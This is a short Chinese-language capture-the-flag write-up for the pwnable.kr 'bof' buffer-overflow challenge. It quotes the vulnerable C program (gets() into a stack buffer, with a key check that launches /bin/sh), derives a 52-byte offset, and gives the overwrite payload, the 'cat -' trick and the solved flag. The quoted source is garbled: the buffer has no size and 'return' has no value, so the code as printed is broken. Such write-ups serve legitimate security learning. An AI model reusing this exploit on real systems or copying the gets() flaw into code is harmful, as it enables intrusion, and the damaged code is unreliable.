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-->

pwnable.kr-bof-Writeup

http://pwnable.kr/bin/bof.c得到C代码如下:

 #include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return ;
}

http://pwnable.kr/bin/bof下载文件bof,die查壳如下,无壳,为elf文件

由题目中的提示Nana told me that buffer overflow is one of the most common software vulnerability. Is that true?可知此题的漏洞为缓冲区溢出,分析C代码:

  • 直接把bof拖到IDA中,通过查找关键字符串跳转到关键函数func:
  • 双击a1与s查看地址如下,则二者的地址相差+0x00000008 - (-0x0000002C) = 0x34 = 52

  • 因为0xCAFEBABE(即IDA中的-889275714)为小端存储,则可以在get(&s)处可构造输入 '0'*52+0xBE0xBA0xFE0xCA,在Linux中检验,可以得到flag为:daddy, I just pwned a buFFer :)

构造输入时需要注意用 cat - 维持shell;

2017-2-7 19:52;05

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